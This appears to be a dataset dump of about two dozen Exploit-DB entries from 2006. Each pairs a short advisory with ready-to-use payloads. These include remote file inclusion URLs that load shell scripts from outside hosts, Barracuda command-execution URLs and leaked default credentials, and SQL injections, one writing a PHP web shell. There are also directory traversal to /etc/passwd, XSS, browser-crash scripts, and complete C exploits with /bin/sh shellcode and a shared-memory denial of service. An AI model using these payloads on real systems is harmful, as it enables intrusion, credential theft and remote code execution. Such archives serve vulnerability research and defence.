QLWD/code_shield huggingface dataset:
标题: Barracuda Spam Firewall 3.3.x - 'preview_email.cgi?file' Arbitrary File Access EDB-ID: 28321 CVE: 2006-4000 类型: WEBAPPS 平台: CGI 发布日期: 2006-08-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/19276/info

Spam Firewall is prone to multiple vulnerabilities, including a directory-traversal issue, access-validation issue, and a remote command-execution issue.

A remote attacker can exploit these issues to gain access to potentially sensitive information and execute commands in the context of the affected application.

Versions 3.3.01.001 to 3.3.03.055 are vulnerable to these issues.

####################################################################
 
Proof of Concept:
https://<deviceIP>/cgi-bin/preview_email.cgi?file=/mail/mlog/../tmp/backup/periodic_config.txt.tmp
https://<deviceIP>/cgi-bin/preview_email.cgi?file=/mail/mlog/../../bin/ls%20/|
 
 
####################################################################
 
#using |unix| for command execution:
 
https://<deviceIP>/cgi-bin/preview_email.cgi?file=/mail/mlog/|uname%20-a|

#admin login/pass vuln
 
https://<deviceIP>/cgi-bin/preview_email.cgi?file=/mail/mlog|cat%20update_admin_passwd.pl|
https://<deviceIP>/cgi-bin/preview_email.cgi?file=/mail/mlog/../bin/update_admin_passwd.pl
 
eg.

#`/home/emailswitch/code/firmware/current/bin/updateUser.pl guest phteam99 2>&1`;
login: guest pass: phteam99

some folder are accessible via http without permission
https://<deviceIP>/Translators/
https://<deviceIP>/images/
https://<deviceIP>/locale
https://<deviceIP>/plugins
https://<deviceIP>/help
 
#stuff in do_install
 
/usr/sbin/useradd support -s /home/emailswitch/code/firmware/current/bin/request_support.pl -p swUpHFjf1MUiM
 
## Create backup tmp dir

/bin/mkdir -p /mail/tmp/backup/
chmod -R 777 /mail/tmp/
 
## Create smb backup mount point
/bin/mkdir -p /mnt/smb/
chmod 777 /mnt/smb/ URL: https://www.exploit-db.com/exploits/28321
标题: WoW Roster 1.5 - 'hsList.php?subdir' Remote File Inclusion EDB-ID: 28317 CVE: 2006-3997 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/19269/info

WoW Roster is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.

A successful exploit may allow unauthorized users to execute remote PHP scripts; other attacks are also possible.

http://www.example.com/[wow_roster_path]/hsList.php?subdir=http://www.example.com/cmd.txt?&cmd=ls URL: https://www.exploit-db.com/exploits/28317
标题: Banex PHP MySQL Banner Exchange 2.21 - 'admin.php' Multiple SQL Injections EDB-ID: 28307 CVE: 2006-3963 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/19240/info
 
PHP MySQL Banner Exchange is prone to multiple SQL-injection vulnerabilities and a remote file-include vulnerability because it fails to properly sanitize user-supplied input. 
 
An attacker can exploit the SQL-injection vulnerabilities to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.
 
An attacker may also leverage the remote file-include issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process.
 
Version 2.1 of the application is affected by these vulnerabilities; other versions may also be affected.

http://www.example.com/admin.php?activatebanner&id=-1%20[SQLi] 
http://www.example.com/admin.php?activateuser&id='+[SQL] 
http://www.example.com/admin.php?deleteunuser&id='+[SQL] 
http://www.example.com/admin.php?deleteuserbanner&deleteuserbanner='+[SQL] 
http://www.example.com/admin.php?deleteuserbanner&deleteuserbanner='+[SQL] 
http://www.example.com/admin.php?viewmem&viewmem='+[SQL] 
http://www.example.com/admin.php?viewmemunb&viewmemunb='+[SQL] 
http://www.example.com/admin.php?viewunmem&viewunmem='+[SQL] 
http://www.example.com/admin.php?deletebanner&id=-1+[SQL] 
http://www.example.com/admin.php?activateuser&deleteuser='+[SQL] 
http://www.example.com/admin.php?deleteuserbanner&deleteuserbanner='+[SQL] URL: https://www.exploit-db.com/exploits/28307
标题: myEvent 1.2/1.3 - 'myevent.php' Remote File Inclusion EDB-ID: 28311 CVE: 2006-4040 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/19246/info

myEvent is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and to gain access to the underlying system.

http://www.example.com/myevent.php?myevent_path=http://www.example.com/shell.txt? URL: https://www.exploit-db.com/exploits/28311
标题: Moskool 1.5 Component - 'Admin.Moskool.php' Remote File Inclusion EDB-ID: 28310 CVE: 2006-3967 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/19245/info

Moskool is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and to gain access to the underlying system.

Version 1.5 is vulnerable to this issue; other versions may also be affected.

http://[target]/component/option,com_moskool/Itemid,34/admin.moskool.php?mosConfig_absolute_path?=http://sit/shell.txt?cmd URL: https://www.exploit-db.com/exploits/28310
标题: Ajax Chat 0.1 - 'operator_chattranscript.php?chatid' Traversal Arbitrary File Access EDB-ID: 28305 CVE: 2006-3972 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/19238/info

AJAX Chat is prone to both a directory-traversal vulnerability and a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. 

An attacker can exploit the directory-traversal issue to retrieve arbitrary files from the vulnerable system in the context of the affected application. Information obtained may aid in further attacks.

The attacker may also leverage the cross-site scripting issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

These issues affect AJAX Chat 0.1; other versions may also be vulnerable.

http://www.server.com/includes/operator_chattranscript.php?chatid=../../../../../../etc/passwd%00 URL: https://www.exploit-db.com/exploits/28305
标题: X-Scripts X-Protection 1.10 - 'Protect.php' SQL Injection EDB-ID: 28303 CVE: 2006-3959 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/19235/info

X-Protection is prone to an SQL-injection vulnerability because it fails to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

X-Protection 1.10 is vulnerable to this issue.

POST:
username='/*&password=*/%20AND%201=0%20UNION%20SELECT%20999/* URL: https://www.exploit-db.com/exploits/28303
标题: Microsoft Internet Explorer 6 - Deleted Frame Object Denial of Service EDB-ID: 28301 CVE: 2006-7066 类型: DOS 平台: WINDOWS 发布日期: 2006-07-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/19228/info

Microsoft Internet Explorer is prone to a denial-of-service vulnerability. This issue is triggered when an attacker convinces a victim user to visit a malicious website.

Remote attackers may exploit this issue to crash Internet Explorer, effectively denying service to legitimate users.

// MoBB Demo
   // Provided by Aviv Raff
   // http://aviv.raffon.net/
   
            var orphanObject;

            function createOrphanObject() {
                orphanObject=document.frames["emptyFrame"].document.getElementById("emptyObject").object.parentWindow.document.createElement("frame");
                document.frames["emptyFrame"].location.href="about:blank";
                window.setTimeout('crashBrowser()',1);
            }

            function crashBrowser() {
                orphanObject.frameBorder="whateveryoulike";
            }

            function insertEmptyObject() {
                return '<OBJECT id="emptyObject" data="nonexist.html" type="text/html"></OBJECT>';
            }
        
        
        <iframe id="emptyFrame" src="javascript:parent.insertEmptyObject()" style="display:none"></iframe>
        
        Clicking the button below may crash your browser!<br><br>
        <input type='button' onClick='createOrphanObject()' value='Start Demo!'> URL: https://www.exploit-db.com/exploits/28301
标题: Banex PHP MySQL Banner Exchange 2.21 - 'members.php?cfg_root' Remote File Inclusion EDB-ID: 28308 CVE: 2006-3964 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/19240/info
  
PHP MySQL Banner Exchange is prone to multiple SQL-injection vulnerabilities and a remote file-include vulnerability because it fails to properly sanitize user-supplied input. 
  
An attacker can exploit the SQL-injection vulnerabilities to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.
  
An attacker may also leverage the remote file-include issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process.
  
Version 2.1 of the application is affected by these vulnerabilities; other versions may also be affected.

http://www.example.com/members.php?cfg_root=http://www.example2.com/? URL: https://www.exploit-db.com/exploits/28308
标题: VMware ESX 2.x - Multiple Information Disclosure Vulnerabilities EDB-ID: 28312 CVE: 2006-2481 类型: REMOTE 平台: MULTIPLE 发布日期: 2006-07-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/19249/info

VMware ESX is prone to multiple information-disclosure vulnerabilities. These issues are due to a design error in the application. The following issues were reported:

1. An information disclosure vulnerability that could disclose the session ID, username, and password if an attacker can access session cookies used by the management interface.

2. An information disclosure vulnerability that could expose authentication credentials to local users on the computer hosting the VMWare ESX Server. This vulnerability occurs because authentication credentials are also handled insecurely by the VMWare ESX management interface.

VMware ESX server versions 2.5.3 P2, 2.1.3 P1, 2.0.2, 2.0.2 P1, and 2.5.2 P4 are reported to be vulnerable; other versions may also be affected.

https://www.example.com/sx-users?op=setUsr&ag=&rg=&nm=root&hd=%2Froot&pw=test&pwc=test&grpSlct= URL: https://www.exploit-db.com/exploits/28312
标题: X-Scripts X-Poll 1.10 - 'top.php' SQL Injection EDB-ID: 28304 CVE: 2006-3960 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/19236/info

X-Poll is prone to an SQL-injection vulnerability because it fails to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

X-Poll 1.10 is vulnerable to this issue.

http://www.example.com/poll/top.php?poll=' AND 0 UNION SELECT 0, '%3C%3Fsystem%28%24_GET%5B%22c%22%5D%29%3B%3F%3E' , 1, 2, 3, 4, 5, 6, 7, 8,'' INTO
OUTFILE '/usr/webserver/public_htm/rshell.php URL: https://www.exploit-db.com/exploits/28304
标题: Banex PHP MySQL Banner Exchange 2.21 - 'signup.php?site_name' SQL Injection EDB-ID: 28306 CVE: 2006-3963 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/19240/info

PHP MySQL Banner Exchange is prone to multiple SQL-injection vulnerabilities and a remote file-include vulnerability because it fails to properly sanitize user-supplied input. 

An attacker can exploit the SQL-injection vulnerabilities to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

An attacker may also leverage the remote file-include issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process.

Version 2.1 of the application is affected by these vulnerabilities; other versions may also be affected.

http://www.example.com/signup.php?signup=1&user_pw=2&passwordconfirm=2&user_name=3&name=3&email=3&site_url=3&site_name='[SQL]/ URL: https://www.exploit-db.com/exploits/28306
标题: PHP-Nuke - 'INP modules.php' Cross-Site Scripting EDB-ID: 28294 CVE: 2006-3948 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/19208/info

PHPNuke INP is prone to a cross-site scripting vulnerability that affects the 'modules.php' script.

The specific version affected is currently unknown.

http://www.example.com/[path]/modules.php?name=Downloads&op=search&query=><script>alert('ARIA')</script>< URL: https://www.exploit-db.com/exploits/28294
标题: Joomla! Plugin JD-WordPress 2.0-1.0 RC2 - 'wp-feed.php' Remote File Inclusion EDB-ID: 28296 CVE: 2006-4992 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/19209/info
 
JD-WordPress for Joomla is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker can exploit these issues to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and to gain access to the underlying system.
 
Version 2.0-1.0 RC2 is vulnerable to these issues; prior versions may also be affected.

http://web/components/com_jd-wp/wp-feed.php?mosConfig_absolute_path=http://shell.txt URL: https://www.exploit-db.com/exploits/28296
标题: ZYXEL Prestige 660H-61 ADSL Router - Cross-Site Scripting EDB-ID: 28283 CVE: 2006-3929 类型: WEBAPPS 平台: HARDWARE 发布日期: 2006-07-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/19180/info

The Zyxel Prestige 660H-61 ADSL Router is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/Forms/rpSysAdmin?a=%3Cscript%3Ealert(&#039;www.eazel.es&#039;)%3C/script%3E URL: https://www.exploit-db.com/exploits/28283
标题: Microsoft Internet Explorer 6 - NDFXArtEffects Stack Overflow EDB-ID: 28286 CVE: 2006-3943 类型: DOS 平台: WINDOWS 发布日期: 2006-07-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/19184/info

Microsoft Internet Explorer is prone to a stack-overflow vulnerability.

This issue is triggered when an attacker convinces a victim user to visit a malicious website.

Remote attackers may exploit this issue to crash Internet Explorer, effectively denying service to legitimate users.

var b = 'XXXX';
while(b.length <=1024*1024) b+=b;
var a = new ActiveXObject('DXImageTransform.Microsoft.NDFXArtEffects.1');
var i = 1016320;
a.RGBExtraColor = b.substring(0,i); URL: https://www.exploit-db.com/exploits/28286
标题: Joomla! Plugin JD-WordPress 2.0-1.0 RC2 - 'wp-trackback.php' Remote File Inclusion EDB-ID: 28297 CVE: 2006-4992 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/19209/info
  
JD-WordPress for Joomla is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.
  
An attacker can exploit these issues to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and to gain access to the underlying system.
  
Version 2.0-1.0 RC2 is vulnerable to these issues; prior versions may also be affected.

http://web/components/com_jd-wp/wp-trackback.php?mosConfig_absolute_path=http://shell.txt URL: https://www.exploit-db.com/exploits/28297
标题: phpBB-Auction 1.x - 'auction_store.php?u' SQL Injection EDB-ID: 28282 CVE: 2006-3940 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/19179/info
 
PHPBB-Auction is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query.
 
These vulnerabilities could permit remote attackers to pass malicious input to database queries, resulting in the modification of query logic or other attacks.
 
A successful attack could allow an attacker to compromise the software, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/phpbb/auction_store.php?mode=store&u=[num][sql] URL: https://www.exploit-db.com/exploits/28282
标题: MidiRecord2 MidiRecord.CC - Local Buffer Overflow EDB-ID: 28288 CVE: 2006-3931 类型: LOCAL 平台: LINUX 发布日期: 2006-07-27 漏洞利用脚本: // source: https://www.securityfocus.com/bid/19190/info

Midirecord is prone to a local buffer-overflow vulnerability because it fails to do proper bounds checking on user-supplied data before using it in a finite-sized buffer.

An attacker can exploit this issue to execute arbitrary code in the context of the victim running the affected application. 

Version 2.0 is vulnerable to this issue; other versions may also be affected.

* Successful Exploit in Ubuntu Breezey */
#include <stdio.h>
#include <string.h>
#include <unistd.h>

#define BUFSIZE 225
#define ALIGNMENT 1
int main(int argc, char **argv )
{
        char shellcode[]=
                "\x6a\x17\x58\x31\xdb\xcd\x80"
                "\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80";

        if(argc < 2)
                 {
           fprintf(stderr, "Use : %s <path_to_vuln>\n", argv[0]);
             return 0;
             }
        char *env[] = {shellcode, NULL};
        char buf[BUFSIZE];
                int i;
                int *ap = (int *)(buf + ALIGNMENT);
                int ret = 0xbffffffa - strlen(shellcode) - strlen(argv[1]);

                for (i = 0; i < BUFSIZE - 4; i += 4)
                *ap++ = ret;
                execle(argv[1], "/dev/midi1", buf, NULL, env);

} URL: https://www.exploit-db.com/exploits/28288
标题: Bosdates 3.x/4.0 - 'Payment.php' Remote File Inclusion EDB-ID: 28289 CVE: 2006-3957 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/19191/info

Bosdates is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.

http://www.example.com/calendar/payment.php?insPath=[evil_script] URL: https://www.exploit-db.com/exploits/28289
标题: Linux-HA Heartbeat 1.2.3/2.0.x - Insecure Default Permissions on Shared Memory EDB-ID: 28287 CVE: 2006-3815 类型: LOCAL 平台: LINUX 发布日期: 2006-07-27 漏洞利用脚本: // source: https://www.securityfocus.com/bid/19186/info

Since Linux-HA Heartbeat has insecure default permissions set on shared memory, local attackers may be able to cause a denial of service.

Exploitation would most likely result in a system crash, loss of data, and resource exhaustion, leading to a denial of service if critical files are accessed improperly or overwritten in the attack. Other attacks may be possible as well.

/* Intruders Tiger Team Security
 * http://www.intruders.org.br/
 *
 * Heartbeat < 2.0.6 Insecure Shared Memory - Local Denial of Service.
 * 
 * Credits: Yan Rong Ge, see link below:
 * http://secunia.com/advisories/21162/
 * Tested on Heartbeat 2.0.5.
 *
 * Thanks for Wendel Guglielmetti, Waldemar Nehgme,
 * Joao Arquimedes, Ricardo BSD and Vitor, Intruders 
 * Tiger Team Security.
 *
 * Usage:
 * [security@mail1 tmp]$ ipcs
 * 
 * ------ Shared Memory Segments --------
 * key        shmid      owner      perms      bytes      nattch     status
 * 0x00000000 1638402    root      666        7296       6          dest
 *
 * ------ Semaphore Arrays --------
 * ....
 * Get shmid of heartbeat(look perms == 666, this is wrong!!!:))
 *
 *  [security@mail1 tmp]$ ./itts_sharedex2 1638402 "Intruders Tiger Team Security.."
 *
 * The heartbeat�s process will droped.
 * Brazil, July/2006.
 */


#include <stdio.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/shm.h>


int main(int argc, char *argv[]){
int shmid;
char *shm;

if(argc < 2){
printf("Heartbeat Insecure Shared Memory Exploit by Nash Leon\n");
printf("Usage: %s <target_shmid> <trash>\n", argv[0]);
exit(0);
}
shmid = atoi(argv[1]);
if ((shm = shmat(shmid, NULL, 0)) == (char *) -1) {
perror("shmat");
exit(1);
}

strncpy(shm,argv[2],1024);
printf("Check now heartbeat pid or shared memory\n");
printf("Running ps auxww | grep heartbeat or ipcs again.\n\n");
exit(0);
} URL: https://www.exploit-db.com/exploits/28287
标题: Joomla! Plugin JD-WordPress 2.0-1.0 RC2 - 'wp-comments-post.php' Remote File Inclusion EDB-ID: 28295 CVE: 2006-4992 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/19209/info

JD-WordPress for Joomla is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker can exploit these issues to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and to gain access to the underlying system.

Version 2.0-1.0 RC2 is vulnerable to these issues; prior versions may also be affected.

http://web/components/com_jd-wp/wp-comments-post.php?mosConfig_absolute_path=http://shell.txt URL: https://www.exploit-db.com/exploits/28295
标题: GeoClassifieds Enterprise 2.0.5.x - 'index.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 28292 CVE: 2006-7072 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/19196/info

GeoClassifieds Enterprise is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. 

An attacker may leverage any of these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

2.0.5.2 and prior versions are vulnerable; other versions may also be affected.

http://www.example.com/index.php?a=11&b=0&c=><script>alert(/EllipsisSecurityTest/)</script>&d=5
http://www.example.com/admin/index.php?b[username]="><script>alert(/EllipsisSecurityTest/)</script>&b[password]=1
POST http://target.xx:80/index.php?a=10 HTTP/1.0
Host: www.example.com 
Content-Type: application/x-www-form-urlencoded
Content-Length: 115
b[username]="><script>alert(/EllipsisSecurityTest/)</script>&b[password]2=1&submit=1
---
POST http://www.example.com:80/register.php?b=1 HTTP/1.0
Host: target.xx
Content-Type: application/x-www-form-urlencoded
Content-Length: 208
c[firstname]=1&c[lastname]=1&c[company_name]=1&c[business_type]=1&c[business_type]=1&c[address]=1&c[address_2]=1&c[city]=
1&c[zip]=1&c[phone]="><script>alert(/EllipsisSecurityTest/)</script> URL: https://www.exploit-db.com/exploits/28292